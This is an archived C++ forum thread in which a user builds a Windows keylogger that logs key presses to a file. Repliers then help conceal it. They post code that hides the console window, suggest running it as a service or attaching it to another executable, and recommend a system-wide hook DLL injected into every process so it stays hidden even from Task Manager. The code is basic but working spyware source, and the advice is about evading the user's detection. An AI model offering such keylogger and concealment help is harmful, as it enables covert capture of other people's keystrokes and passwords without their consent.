Personal keylogger help

Dec 14, 2011 at 5:17am
Im making a keylogger for myself, no bad intent intended, now i cant seem to figure out how to make it so that if you press the a key it will log it in the log.txt file. It recognized the key being pressed but wont log it into the file, what am i dont wrong.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<iostream>
#include<windows.h>
#include<fstream>

using namespace std;

int main()
{
    ofstream log("log.txt");

    int a;
    while(1)
    {
        a=GetAsyncKeyState(0x41);
        if(a)
        {
        log << "A";
        Sleep(200);
        }
    }

}
Last edited on Dec 14, 2011 at 9:05pm
Dec 14, 2011 at 9:06pm
Please help.
Dec 14, 2011 at 9:16pm
This isn't the fastest forum, you don't have to make multiple threads of the same question.

But try log << "A" << flush;

If that doesn't work, try putting a cout in that if statement to ensure that we are entering it.
Dec 14, 2011 at 9:37pm
I apologize for the multiple threads. log << "A" << flush worked, thank you. Now how would i get this to run in the background without being seen at all?

Here is the new code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<iostream>
#include<windows.h>
#include<fstream>
#define VK_A 0x41

using namespace std;

int main()
{
    ofstream log("log.txt");

    int a;
    while(1)
    {
        a=GetAsyncKeyState(VK_A);
        if(a)
        {
        log << "A" << flush;
        Sleep(200);
        }
    }

}
Last edited on Dec 14, 2011 at 9:39pm
Dec 14, 2011 at 9:49pm
A console application cannot run in the background without being seen. You will always get that pesky console box. There are two other solutions:

1. Attach your program to another excecutable so that your program runs as a seperate process while another application is running.

2. Create a service. If you don't know what this is, right click on "Computer" and select "Manage". Click "Services and Applications". These are all little programs that are running silently on your machine as part of your windows experience. To write a service you'll need to play with some settings on your compiler. Check out http://msdn.microsoft.com/en-us/library/40xe80wx(v=vs.80).aspx or
http://msdn.microsoft.com/en-us/library/zt39148a.aspx


Edit: Don't worry Linux guys, you're still safe here
Last edited on Dec 14, 2011 at 9:52pm
Dec 14, 2011 at 10:18pm
Ok, thats fine, i'd rather not get into that now, but how do i make it so that everytime the keylogger opens it doesnt write over the text in the current log? I want it to either add to the current log or make a new one.
Dec 14, 2011 at 10:38pm
Actually, you can hide it. Just not from the task manager.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <iostream>
#include<fstream>
#define VK_A 0x41

using namespace std;

int main()
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow( hWnd, SW_HIDE );

    ofstream log("log.txt");

    int a;
    while(1)
    {
        a=GetAsyncKeyState(VK_A);
        if(a)
        {
        log << "A" << flush;
        Sleep(200);
        }
    }
return 0;
}


Don't ask how I know this info.. :P~~~~~


Also if your wanting to append to the file, look here :
http://www.cplusplus.com/reference/iostream/ofstream/
Dec 14, 2011 at 11:33pm
I put HWND hWnd = GetConsoleWindow();
ShowWindow( hWnd, SW_HIDE );

in my code plus: #define _WIN32_WINNT 0x0500
and it gives me this error:

C:\Users\Chay Hawk\Desktop\Keylogger 2\main.cpp|4|warning: "_WIN32_WINNT" redefined|
c:\program files (x86)\codeblocks\mingw\bin\..\lib\gcc\mingw32\4.4.1\..\..\..\..\include\windef.h|20|warning: this is the location of the previous definition|
C:\Users\Chay Hawk\Desktop\Keylogger 2\main.cpp||In function 'int main()':|
C:\Users\Chay Hawk\Desktop\Keylogger 2\main.cpp|47|error: 'GetConsoleWindow' was not declared in this scope|
C:\Users\Chay Hawk\Desktop\Keylogger 2\main.cpp|39|warning: unused variable 'space'|
||=== Build finished: 1 errors, 3 warnings ===|
Dec 15, 2011 at 12:00am
Create a console application and then COPY and PASTE my code above. It will work with MinGW just fine. That's what I am using in Code::Blocks.

My Operating System is Windows 7.
Dec 16, 2011 at 7:06pm
make sure that you define _WIN32_WINNT before you #include <windows.h>
Dec 18, 2011 at 10:02am
To make sure you dont write over your file, make sure to open it in append mode.
Dec 18, 2011 at 10:28am
I really sugest yot to write a DLL with a shared read-write section using SetWindowsHookEx instead of polling every second or so, wasting CPU and possible miss keystrokes. This will also hide your keylogger even from task manager, as the DLL is injected automatically by windows into every process and no window is created at all.

Note: Don't know if Mingw support creating shared sections in a DLL, only seen this in Visual Studio.
Topic archived. No new replies allowed.